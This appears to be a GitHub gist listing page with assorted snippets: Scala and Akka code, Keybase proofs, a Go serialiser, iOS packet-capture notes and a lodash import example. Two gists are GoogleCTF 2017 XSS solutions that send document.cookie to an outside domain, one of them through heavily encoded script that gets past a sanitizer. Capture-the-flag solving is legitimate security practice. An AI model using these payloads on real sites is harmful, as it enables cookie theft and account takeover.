Skip to content

Instantly share code, notes, and snippets.

View 0xdevalias's full-sized avatar
👀
Open to opportunities

Glenn 'devalias' Grant 0xdevalias

👀
Open to opportunities
View GitHub Profile
@joseraya
joseraya / CorsSupport.scala
Created July 1, 2014 21:24
CORS directive for Spray
package com.agilogy.spray.cors
import spray.http.{HttpMethods, HttpMethod, HttpResponse, AllOrigins}
import spray.http.HttpHeaders._
import spray.http.HttpMethods._
import spray.routing._
// see also https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS
trait CORSSupport {
this: HttpService =>
@infosec-au
infosec-au / keybase.md
Created March 30, 2016 15:02
keybase yo

Keybase proof

I hereby claim:

  • I am infosec-au on github.
  • I am shubs (https://keybase.io/shubs) on keybase.
  • I have a public key ASA0JKdBKQxcZBfKBAyeVVeu66C_pghkQ5ZRXXs3Tslzxgo

To claim this, I am signing this object:

@buglloc
buglloc / input.html
Last active May 21, 2018 10:24
Geokitties v2 (#GoogleCTF 2017)
<a onclicK="" onclick="window.location.href = 'https://www.buglloc.com/lala?' + document.cookie;return false;" href="https://ya.ru">asd</a>
@buglloc
buglloc / input.html
Created June 19, 2017 09:11
The X Sanitizer (#GoogleCTF 2017)
<link rel="import" href="/sandbox?html=<script charset=UTF%2d16BE src=/sandbox%3fhtml=%2500%253D%2500%2528%2500%2577%2500%2569%2500%256E%2500%2564%2500%256F%2500%2577%2500%252E%2500%256C%2500%256F%2500%2563%2500%2561%2500%2574%2500%2569%2500%256F%2500%256E%2500%252E%2500%2568%2500%2572%2500%2565%2500%2566%2500%253D%2500%2522%2500%2568%2500%2574%2500%2574%2500%2570%2500%2573%2500%253A%2500%252F%2500%252F%2500%2577%2500%2577%2500%2577%2500%252E%2500%2562%2500%2575%2500%2567%2500%256C%2500%256C%2500%256F%2500%2563%2500%252E%2500%2563%2500%256F%2500%256D%2500%252F%2500%2561%2500%253F%2500%2522%2500%2520%2500%252B%2500%2520%2500%2564%2500%256F%2500%2563%2500%2575%2500%256D%2500%2565%2500%256E%2500%2574%2500%252E%2500%2563%2500%256F%2500%256F%2500%256B%2500%2569%2500%2565%2500%2529></script>'>">
<link rel="import" href="/sandbox?html=<script charset=UTF%2d16BE src=/sandbox%3fhtml=%2500%253D%2500%2528%2500%2577%2500%2569%2500%256E%2500%2564%2500%256F%2500%2577%2500%252E%2500%256C%2500%256F%2500%2563%2500%2561%2500%2
@IainHull
IainHull / AkkaCake.scala
Created November 25, 2013 17:41
Applying Akka's recommended practices for actor creation (See http://doc.akka.io/docs/akka/snapshot/scala/actors.html#Recommended_Practices) to the Cake pattern example taken from answer to this question on StackOverflow (See http://stackoverflow.com/questions/15996098/akka-and-cake-pattern). I have added the props method to the `ServiceActor` o…
trait DBComponent {
def db: DB
type K
type V
trait DB {
def put(key: K, value: V): Unit
def get(key: K): Option[V]
}
/**
* Original source:
* [[https://gist.github.com/oxbowlakes/970717]]
*
* Modifications:
* - use scala 7.0.5
* - use toValidationNel
* - use sequenceU and traverseU instead of the lambda trick
*
* Part Zero : 10:15 Saturday Night
@Ice3man543
Ice3man543 / ser.go
Last active August 19, 2018 00:48
Workspace format serialize/Deserialize
// Written by ice3man
package main
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/gob"
"fmt"
"io"

Keybase proof

I hereby claim:

  • I am 00000sz on github.
  • I am nathanc (https://keybase.io/nathanc) on keybase.
  • I have a public key ASDI_DHgXwcRM0nNWW1sG13bqwPu2SLft0Wlvi10u62Uuwo

To claim this, I am signing this object:

@TonnyXu
TonnyXu / RVi.md
Created August 3, 2012 07:49
About RVI(Remote Virtual Interface)

What is RVI?

RVI = Remote Virtual Interface

What RVI can do?

Using RVI, you can capture network packages in iOS using any normal package capturing tools like tcpdump etc.

Wire your rvi to Mac

@callumlocke
callumlocke / README.md
Created October 26, 2015 14:38
Importing individual lodash-es functions
import chunk from 'lodash-es/array/chunk';
import zipObject from 'lodash-es/array/zipObject';

console.log(zipObject(chunk(['a', 'b', 'c', 'd'], 2)));
$ rollup -f=iife demo.js > output.js